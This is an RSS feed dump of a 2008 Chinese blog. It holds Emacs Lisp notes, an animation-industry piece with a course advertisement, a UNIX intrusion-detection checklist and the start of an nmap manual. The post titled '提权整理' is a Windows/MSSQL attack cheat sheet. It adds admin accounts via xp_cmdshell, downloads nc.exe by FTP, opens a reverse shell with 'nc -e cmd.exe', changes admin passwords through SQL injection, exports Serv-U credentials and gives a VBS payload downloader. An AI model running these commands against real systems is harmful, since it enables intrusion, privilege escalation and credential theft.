<P style="TEXT-INDENT: 2em">有些expression有副作用, 如删掉一个字. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp; (这跟C 的int delete_char() 意思一样, 它传回int, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; 并且删掉某个char) </P>
<P style="TEXT-INDENT: 2em">定义函式: </P>
<P style="TEXT-INDENT: 2em">(defun NAME (ARGS-LIST) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "注解"&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; optional </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (interactive)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; optional </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BODY) </P>
<P style="TEXT-INDENT: 2em">定义一个叫NAME的函式. BODY 是一堆expression. </P>
<P style="TEXT-INDENT: 2em">注解是用来给C-h f显示的. </P>
<P style="TEXT-INDENT: 2em">(interactive) 表示这个函示会和user/buffer作用. </P>
<P style="TEXT-INDENT: 2em">(interactive "B") 表示执行此函式先问user一个buffer的名字, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 然後当作参数传给它. (如, 当user透过key-binding </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 或者 M-x 呼叫此函式时) </P>
<P style="TEXT-INDENT: 2em">(interactive "BAppend to buffer: \nr") </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 问user buffer name时, 提示号 Append to buffer: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 此function有两个引数,第一个是B, 就是buffer </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第二个是r, region </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用\n 隔开. </P>
<P style="TEXT-INDENT: 2em">(interactive "p") 用C-u 设的prefix 把它当作参数传给我. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 预设值==4. C-u C-f 向右移四个字 </P>
<P style="TEXT-INDENT: 2em">一些lisp 函式: </P>
<P style="TEXT-INDENT: 2em">(list 1 2 3 4)&nbsp;&nbsp;&nbsp; 产生 '(1 2 3 4) </P>
<P style="TEXT-INDENT: 2em">(car '(1 2 3 4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1 </P>
<P style="TEXT-INDENT: 2em">(cdr '(1 2 3 4)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '(2 3 4) </P>
<P style="TEXT-INDENT: 2em">(cons 1 '(2 3 4))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; '(1 2 3 4) </P>
<P style="TEXT-INDENT: 2em">(cons 1 2)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (1 . 2) </P>
<P style="TEXT-INDENT: 2em">(cons 0 (cons 1&nbsp;&nbsp; (cons 2 nil))) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 等於&nbsp;&nbsp; '(0 1 2) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {list 是用 pair 串起来的, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 用C 表示: </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pair: {Object *first, Object *second}; </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *(pair[i].first) == i; </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; pair[i].second == pair[i+1]; } </P>
<P style="TEXT-INDENT: 2em">(cons '(1 2) '(3 4))&nbsp;&nbsp; '((1 2) 3 4) </P>
<P style="TEXT-INDENT: 2em">(setq a 1) </P>
<P style="TEXT-INDENT: 2em">(1+ a)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; a+1 </P>
<P style="TEXT-INDENT: 2em">(+ 2 a)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; a+2 </P>
<P style="TEXT-INDENT: 2em">(* 1 2 3 4)&nbsp;&nbsp;&nbsp;&nbsp;</P>
<P style="TEXT-INDENT: 2em">(current-buffer)&nbsp;&nbsp; ; 传回目前buffer的资料物件 </P>
<P style="TEXT-INDENT: 2em">(switch-to-buffer (other-buffer)) </P>
<P style="TEXT-INDENT: 2em">(set-buffer) </P>
<P style="TEXT-INDENT: 2em">(buffer-size) </P>
<P style="TEXT-INDENT: 2em">(setq current-pos (point)) </P>
<P style="TEXT-INDENT: 2em">(point-min) </P>
<P style="TEXT-INDENT: 2em">(point-max) </P>
<P style="TEXT-INDENT: 2em">(message "Hello")&nbsp;&nbsp;&nbsp; ; 在minibuffer显示Hello </P>
<P style="TEXT-INDENT: 2em">(if (test) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (then-part) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (else-part)) </P>
<P style="TEXT-INDENT: 2em">(cond ((test1) BODY1) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ((test2) BODY2) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (t&nbsp;&nbsp; OTHER-WISE) </P>
<P style="TEXT-INDENT: 2em">(let ((var1 value)&nbsp;&nbsp; ; local variable </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ; no value </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (var3 value) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...) </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BODY ...) </P>
<P style="TEXT-INDENT: 2em">(lambda (ARG-LIST) ...) 同 defun, 但是没有名字 (anonymous). </P>
<P style="TEXT-INDENT: 2em">可以存到变数去: </P>
<P style="TEXT-INDENT: 2em">(setq hello (lambda () (message "Hello,World"))) </P>
<P style="TEXT-INDENT: 2em">(funcall hello) </P>
<P style="TEXT-INDENT: 2em">(goto-char (point-max)) </P>
<P style="TEXT-INDENT: 2em">(defvar VAR VALUE "*注解") 如果VAR 不存在才定义. 有注解可以用 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp; C-h v 看. 注解打*号表是使用者可以直接改/ 这个变数本来就是 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 给使用者设定用的. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以用 M-x edit-options 来线上设定 (emacs结束就没有了, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不过edit-options可以给你所有可修改的变数的列表,你可以 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 放到.emacs档内. </P>
<P style="TEXT-INDENT: 2em">(directory-files "./" t "\\..*") </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return a list of files under directory X </P>
<P style="TEXT-INDENT: 2em">(load "xxxx.el")&nbsp;&nbsp; 同#include &lt;stdio.h&gt; </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 给使用者设定用的. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 可以用 M-x edit-options 来线上设定 (emacs结束就没有了, </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不过edit-options可以给你所有可修改的变数的列表,你可以 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 放到.emacs档内. </P>
<P style="TEXT-INDENT: 2em">(directory-files "./" t "\\..*") </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return a list of files under directory X </P>
<P style="TEXT-INDENT: 2em">(load "xxxx.el")&nbsp;&nbsp; 同#include &lt;stdio.h&gt; </P>
<P style="TEXT-INDENT: 2em">(setq load-path (cons "~/emacs" load-path)) ; load的search path. </P>
<P style="TEXT-INDENT: 2em">(autoload ...) 不像load会直接evaluate 整个档案, 而是需要时再 </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; load. </P>
<P style="TEXT-INDENT: 2em">(local-unset-key [(control c)]) </P>
<P style="TEXT-INDENT: 2em">(local-set-key [(control c) a] 'forward-sexp) </P>
<P style="TEXT-INDENT: 2em">sexp 就是一个expession, n个expression如果用括号括起来就算一个. </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (expression的定义随语言的不同而有不同, 在C, lisp </P>
<P style="TEXT-INDENT: 2em">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; tex, html, fortran 下皆有差异)</P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200851642826630</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200851642826630</guid>
    <pubDate>Mon, 16 Jun 2008 16:28:26 +0800</pubDate>
    <dcterms:modified>2008-06-16T16:28:26+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[动漫产业人才告急]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/2801612920085151523525</link>
    <description><![CDATA[<div><P>当哆啦A梦成为日本文化的代言人后，人们才真<IMG src="http://www.yjpx.net/images/pf.gif">正意识到动漫对于文化传播的作用。因此，继投资国内网络游戏产业后，海外资本又将重点转向了动漫产业。日前，凯鹏华盈创投基金(KPCB China)将千万级美元风险投资投向国内动漫学院。与此同时，方正科技也设立了“游戏动漫专项奖学金”，侧重动漫人才的重点培养。 <BR><BR><B><WBR>&nbsp;&nbsp;&nbsp;&nbsp;国内动画从业者不足1万人</B><WBR> <BR><BR>　　无论是“花生狗”SNOOPY还是凯蒂猫KITTY，都已经成为国内家喻户晓的“人物”。统计显示，我国目前动漫受众人数达到5亿人。国内有2000家省市电视台，其中动画专业频道有4个、少儿频道有25个、少儿栏目有289个、动画栏目200个，年需求达到26万分钟。但是，国产量仅有2万分钟。从5月起，广电部门延长境外动画片禁播时段，也为国产动漫提供了新的要求和发展空间。<BR><BR>　　根据IResearch最新发布的《2007年中国新媒体动漫研究报告》显示，2006年中国网络动漫市场规模突破1000万元，较前一年增长25%。预计到2010年将达到7900万元。然而，面对“内容为王”的新兴精神文化产业，优秀的动漫人才严重匮乏却成为制约整个产业发展的瓶颈。 <BR><BR>　　 据国内一家招聘网监测数据显示，从2月下旬开始，国内主要城市动漫类有效职位供给较年前增长42%。但就数据统计，收到简历仅是招聘需求数量的80%。目前，我国影视动画人才总需求量至少在15万人以上，而实际从业者不足1万人</P>
<P>动漫暑期夏令营开班</P>
<P>欢迎大家报名咨询,报名咨询电话:13426335470&nbsp; 010-86702600&nbsp; 高老师</P>
<P>详情请见:<A href="http://www.3danimate.com.cn/" target=_blank>http://www.3danimate.com.cn/</A></P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/2801612920085151523525</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/2801612920085151523525</guid>
    <pubDate>Sun, 15 Jun 2008 13:05:23 +0800</pubDate>
    <dcterms:modified>2008-07-04T14:37:36+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[提权整理..]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200851405430653</link>
    <description><![CDATA[<div><P>权限设置<BR>cacls.exe c: /e /t /g everyone:F #把c盘设置为everyone可以浏览<BR>cacls.exe d: /e /t /g everyone:F #把d盘设置为everyone可以浏览<BR>cacls.exe e: /e /t /g everyone:F #把e盘设置为everyone可以浏览<BR>cacls.exe f: /e /t /g everyone:F #把f盘设置为everyone可以浏览<BR>cacls d:\website /g everyone /e /t授与完全控制<BR>cacls d:\website /r everyone /e /t取消完全控制<BR>SA加系统用户<BR>exec master.dbo.xp_cmdshell 'net user admin admin /add'<BR><BR>exec master.dbo.xp_cmdshell 'net localgroup administrators admin /add'<BR><BR>恢复扩散<BR>dbcc addextendedproc ("sp_OACreate","odsole70.dll")<BR>dbcc addextendedproc ("xp_cmdshell","xplog70.dll")<BR><BR>如果恢复不了的解释:<BR>因为管理员是直接删除dll文件，而没删除存储过程，你这样恢复肯定是提示存储过程已存在了。你要先删除存储过程，use master<BR>EXEC sp_dropextendedproc 'xp_cmdshell'<BR><BR>然后上传xplog70.dll到某个目录，例如C盘根目录，然后执行<BR>use master dbcc addextendedproc('xp_cmdshell','c:\xplog70.dll')<BR>就可以使用cmdshell存储过程执行系统指令了。<BR><BR>MB的没想到网关都能用NB这样设..落伍啦.落伍啦<BR>把他设置成网关看看行不行.在NBSI执行命令那里输入：echo interface ip &gt;ip.txt<BR>echo set address "Backup" static 10.90.90.157 255.255.255.0 10.90.90.14 1 &gt;&gt;ip.txt<BR>netsh exec ip.txt<BR>这样就把网关设置为10.90.90.14了，然后我们ipconfig看看是不是有网关了，<BR><BR>echo interface ip &gt;1.txt<BR>echo set address "本地连接" static 192.168.1.2 255.255.255.0 192.168.1 254 1 &gt;&gt;1.txt<BR>netsh exec 1.txt<BR><BR>address"本地连接的名称" 可以用ipconfig得到. static IP地址 子网掩码网关地址。<BR>好了现在我PING下163看看能不能PING通，如图8<BR><BR>命令行FTP下载文件<BR>echo open ip &gt;11.txt<BR>echo user &gt;&gt;11.txt<BR>echo pass &gt;&gt;11.txt<BR>echo get nc.exe &gt;&gt;11.txt<BR>echo bye &gt;&gt;11.txt<BR>ftp -s:11.txt<BR><BR>NC做反弹SHELL<BR>在本地监听1234端口 nc -vv -l -p 1234<BR><BR>然后在NBSI执行命令那里nc -e cmd.exe ip 1234<BR><BR>改密码地<BR><A href="http:///" target=_blank>http://</A>注入网址;update admin set password='新MD5密码' where password='旧MD5密码'-- [admin为表名.]<BR><BR>查看系统在线用户<BR>query user<BR>注销用户<BR>logoff<BR>D:\web\rar.exe a -k -r -s -m1 D:\web\zhu.rar D:\web\<BR>把站点打包到zhu.rar里，<BR><BR>参数说明:<BR><BR>a 添加文件到压缩文件中<BR><BR>-k 锁定压缩文件<BR><BR>-s产生固体存档,这样可以增大压缩比<BR><BR>-r包括子目录<BR><BR>-m1 设置压缩比<BR><BR>-m0 存储 添加到压缩文件时不压缩文件。<BR>-m1 最快 使用最快方式(低压缩)<BR>-m2 较快 使用快速压缩方式<BR>-m3 标准 使用标准(默认)压缩方式<BR>-m4 较好 使用较好压缩方式(较好压缩，但是慢)<BR>-m5 最好 使用最大压缩方式(最好的压缩，但是最慢<BR><BR>直接 D:\web\rar.exe a -r D:\web\zhu.rar D:\web\ 效果一样<BR><BR>exec xp_cmdshell 'echo 内容 &gt;&gt;绝对路径'<BR><BR>sc stop MSSQLSERVER<BR>sc config MSSQLSERVER start= disabled<BR><BR>导SERV-U用户.和密码,不过现在版本密码加密了``<BR><BR>regedit /e "D:\hosting\wwwroot\systones_com\htdocs\su.ini" "HKEY_LOCAL_MACHINE\SOFTWARE\cat soft\serv-u\"<BR><BR>导入是regedit /s xx.reg<BR><BR>端口:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp<BR><BR>tftp -i serverip get xx.exe<BR><BR>TFTP –I 127.0.0.1 get common.dll c:\common.dll<BR><BR>VBS<BR>--<BR>Set xPost = createObject("Microsoft.XMLHTTP")<BR>xPost.Open "GET","<A href="http://127.0.0.1/u.txt" target=_blank>http://127.0.0.1/u.txt</A>",0 '下载文件的地址<BR>xPost.Send()<BR>Set sGet = createObject("ADODB.Stream")<BR>sGet.Mode = 3<BR>sGet.Type = 1<BR>sGet.Open()<BR>sGet.Write(xPost.responseBody)<BR>sGet.SaveToFile "c:\jp.exe",2<BR><BR>VPN<BR>关防火和Application Layer Gateway Service<BR><BR>3389登陆<BR>mstsc /console /v:IP:终端端口 <BR></P>
<P>&nbsp;</P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200851405430653</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200851405430653</guid>
    <pubDate>Sat, 14 Jun 2008 00:54:30 +0800</pubDate>
    <dcterms:modified>2008-06-14T00:54:30+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[系统检测注意事项]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/28016129200851405041456</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em">1. 检视连线记录档中是否有不寻常的来源位置或不寻常的操作动作。例如, 检查你最後 </P>
<P style="TEXT-INDENT: 2em">的登录时间, 程序的执行记录以及syslog所做的记录。除非你的记录档写在只能新 </P>
<P style="TEXT-INDENT: 2em">增资料(append-only)的边上, 不然这些动作不可忽略。许多的入侵者会修改记录档 </P>
<P style="TEXT-INDENT: 2em">来隐藏他们的行踪。 </P>
<P style="TEXT-INDENT: 2em">2.找出系统中所有setuid及setgid的档案(特别是setuid成root的档案)。入侵者经常喜欢留 </P>
<P style="TEXT-INDENT: 2em">下setuid root的/bin/sh或/bin/time, 如此当他以後再登入时便能轻易拥有root的权 </P>
<P style="TEXT-INDENT: 2em">限。在 </P>
<P style="TEXT-INDENT: 2em">UNIX系统中, find这个指令可以帮我们找出setuid及setgid的档案。你可以使用以下命 </P>
<P style="TEXT-INDENT: 2em">令来找出整个档案系统中所有setuid root和setgid kmem的档案 </P>
<P style="TEXT-INDENT: 2em">find / -user root -perm -4000 -print </P>
<P style="TEXT-INDENT: 2em">find / -group kmem -perm -2000 -print </P>
<P style="TEXT-INDENT: 2em">上列的例子会搜寻整个档案系统, 包括NFS及AFS。有些find命令支援一个”-xdev”的参 </P>
<P style="TEXT-INDENT: 2em">数，可用来避免搜寻非本机的档案系统, 如下所示: </P>
<P style="TEXT-INDENT: 2em">find / -user root -perm -4000 -print -xdev </P>
<P style="TEXT-INDENT: 2em">另外我们也可以用ncheck找出某一磁碟分割区中所有setuid的档案。例如我们可以使用 </P>
<P style="TEXT-INDENT: 2em">下列的命令, 找出分割区/dev/rsd0g中所有的setuid档案: </P>
<P style="TEXT-INDENT: 2em">ncheck -s /dev/rsd0g </P>
<P style="TEXT-INDENT: 2em">3.检查你系统的执行档看看它们是否被修改了。入侵者会修改UNIX系统的程式, 如login、 </P>
<P style="TEXT-INDENT: 2em">su、telnet、netstat、ifconfig、ls、find、du、df、libc、sync、任何在 </P>
<P style="TEXT-INDENT: 2em">/etc/inet.conf </P>
<P style="TEXT-INDENT: 2em">记载的程式及其它重要的网路及系统程式和分享资源的程式库。用未经修改的备份来和你 </P>
<P style="TEXT-INDENT: 2em">目前的系统做比较, 例如你可以用系统安装片里的资料来比较。要特别小心挑选你拿来做 </P>
<P style="TEXT-INDENT: 2em">比较的备份，不注意的话它可能本身就含有木马程式。 </P>
<P style="TEXT-INDENT: 2em">4.检查你系统中是否有正在执行网路监听程式(sniffer)。入侵者可能透过监听程式取得使 </P>
<P style="TEXT-INDENT: 2em">用者帐号及密码。相关的讯息请参阅CERT advisory CA-94:01，网址: </P>
<P style="TEXT-INDENT: 2em"><A href="http://www.cert.org/advisories/CA-94.01.ongoing.network.monitoring.attacks.html">http://www.cert.org/advisories/CA-94.01.ongoing.network.monitoring.attacks.html</A> </P>
<P style="TEXT-INDENT: 2em">5.检查系统中所有由”cron”和”at”所执行的程式。入侵者可能会留下後门并由”cron” </P>
<P style="TEXT-INDENT: 2em">或 </P>
<P style="TEXT-INDENT: 2em">”at”来执行它。即使你後来在别的程式做了连线位置的限定, 入侵者依旧可以透过这个 </P>
<P style="TEXT-INDENT: 2em">後门回到系统中。另外, 我们也要检查那些被”cron”或”at”执行的程式属性, 要避免 </P>
<P style="TEXT-INDENT: 2em">任 </P>
<P style="TEXT-INDENT: 2em">何人都能写入修改它们。 </P>
<P style="TEXT-INDENT: 2em">6.检查/etc/inetd.conf的资料，注意是否有被更动，尤其是更动成执行shell程式(如 </P>
<P style="TEXT-INDENT: 2em">/bin/sh，/bin/csh), 并检查各服务的对应程式是否正确，已避免被改换成木马程式。 </P>
<P style="TEXT-INDENT: 2em">并检查/etc/inetd.conf的各种服务是否有原本不提供的服务被开启。另外你也须检 </P>
<P style="TEXT-INDENT: 2em">查那些正常，但已被你关掉的服务，因为入侵者可能会打开原本你先前关掉的服务，或 </P>
<P style="TEXT-INDENT: 2em">者是用木马程式换掉inetd程式。 </P>
<P style="TEXT-INDENT: 2em">7.检查系统/etc/passwd的内容及档案属性的更动。基本上, 察看内容是否有管理者不知道 </P>
<P style="TEXT-INDENT: 2em">的新帐号、没有密码的帐号或uid与其它使用者相同(特别是uid 0, root) 的帐号。 </P>
<P style="TEXT-INDENT: 2em">8.检查你的系统与网路设定档。基本上，检查/etc/hosts.equiv，/etc/hosts.lpd,和所有 </P>
<P style="TEXT-INDENT: 2em">.rhosts档案, 看看是否有”+”(加号)或不应存在的host存在档案中。并且不可让任何人 </P>
<P style="TEXT-INDENT: 2em">都可以写入这些档案。再者，确定这些档案不是被入侵者所创造的。 </P>
<P style="TEXT-INDENT: 2em">9.找出系统不寻常或隐藏的档案(档名以”.”开头或是只用”ls”看不到的档案),这些有可 </P>
<P style="TEXT-INDENT: 2em">能 </P>
<P style="TEXT-INDENT: 2em">是用来隐藏工具或资料用的。要在使用者目录底下放一个隐藏目录, 通常使用较奇特的档 </P>
<P style="TEXT-INDENT: 2em">名, 如”…” 或”.. “(点、点、空白)或者”..^G”(^G是control-G). 要如何找出这 </P>
<P style="TEXT-INDENT: 2em">些档 </P>
<P style="TEXT-INDENT: 2em">呢? 我们可以再使用”find”来帮我们找出这些档案, 如下: </P>
<P style="TEXT-INDENT: 2em">find / -name ".. " -print -xdev </P>
<P style="TEXT-INDENT: 2em">find / -name ".*" -print -xdev | cat -v </P>
<P style="TEXT-INDENT: 2em">10.当你要检查机器是否被入侵, 你必须检查所有区域网路上的机器。大部分的情形是, 假 </P>
<P style="TEXT-INDENT: 2em">如一台机器被入侵了，很可能同一网段的其它机器也被入侵了。特别是当你使用NIS或 </P>
<P style="TEXT-INDENT: 2em">是使用了/etc/hosts.equiv或.rhosts这些设定档。 </P>
<P style="TEXT-INDENT: 2em"></P></div>]]></description>
	    <author><![CDATA[WaITinG]]></author>
	    <comments>http://gaojuiya.blog.163.com/blog/static/28016129200851405041456</comments>
    <slash:comments>0</slash:comments>
    <guid isPermaLink="true">http://gaojuiya.blog.163.com/blog/static/28016129200851405041456</guid>
    <pubDate>Sat, 14 Jun 2008 00:50:41 +0800</pubDate>
    <dcterms:modified>2008-06-14T00:50:41+08:00</dcterms:modified>
  </item>    
  <item>
  	<title><![CDATA[NMAP使用手册]]></title>	
    <link>http://gaojuiya.blog.163.com/blog/static/2801612920085131154429</link>
    <description><![CDATA[<div><P style="TEXT-INDENT: 2em">摘要</P>
<P style="TEXT-INDENT: 2em">　　nmap是一个网络探测和安全扫描程序，系统管理者和个人可以使用这个软件扫描大型的网络，获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术，例如：UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征，例如：通过TCP/IP协议栈特征探测操作系统类型，秘密扫描，动态延时和重传计算，并行扫描，通过并行ping扫描探测关闭的主机，诱饵扫描，避开端口过滤检测，直接RPC扫描(无须端口影射)，碎片扫描，以及灵活的目标和端口设定.</P>
<P style="TEXT-INDENT: 2em">--------------------------------------------------------------------------------</P>
<P style="TEXT-INDENT: 2em">1.名称</P>
<P style="TEXT-INDENT: 2em">nmap-网络探测和安全扫描工具</P>
<P style="TEXT-INDENT: 2em">2.语法</P>
<P style="TEXT-INDENT: 2em">nmap [Scan Type(s)] [Options]</P>
<P style="TEXT-INDENT: 2em">3.描述</P>
<P style="TEXT-INDENT: 2em">　　nmap是一个网络探测和安全扫描程序，系统管理者和个人可以使用这个软件扫描大型的网络，获取那台主机正在运行以及提供什么服务等信息。nmap支持很多扫描技术，例如：UDP、TCP connect()、TCP SYN(半开扫描)、ftp代理(bounce攻击)、反向标志、ICMP、FIN、ACK扫描、圣诞树(Xmas Tree)、SYN扫描和null扫描。从扫描类型一节可以得到细节。nmap还提供了一些高级的特征，例如：通过TCP/IP协议栈特征探测操作系统类型，秘密扫描，动态延时和重传计算，并行扫描，通过并行ping扫描探测关闭的主机，诱饵扫描，避开端口过滤检测，直接RPC扫描(无须端口影射)，碎片扫描，以及灵活的目标和端口设定。</P>
<P style="TEXT-INDENT: 2em">　　为了提高nmap在non-root状态下的性能，软件的设计者付出了很大的努力。很不幸，一些内核界面(例如raw socket)需要在root状态下使用。所以应该尽可能在root使用nmap。</P>
<P style="TEXT-INDENT: 2em">　　nmap运行通常会得到被扫描主机端口的列表。nmap总会给出well known端口的服务名(如果可能)、端口号、状态和协议等信息。每个端口的状态有：open、filtered、unfiltered。open状态意味着目标主机能够在这个端口使用accept()系统调用接受连接。filtered状态表示：防火墙、包过滤和其它的网络安全软件掩盖了这个端口，禁止 nmap探测其是否打开。unfiltered表示：这个端口关闭，并且没有防火墙/包过滤软件来隔离nmap的探测企图。通常情况下，端口的状态基本都是unfiltered状态，只有在大多数被扫描的端口处于filtered状态下，才会显示处于unfiltered状态的端口。</P>
<P style="TEXT-INDENT: 2em">　　根据使用的功能选项，nmap也可以报告远程主机的下列特征：使用的操作系统、TCP序列、运行绑定到每个端口上的应用程序的用户名、DNS名、主机地址是否是欺骗地址、以及其它一些东西。</P>
<P style="TEXT-INDENT: 2em">4.功能选项</P>
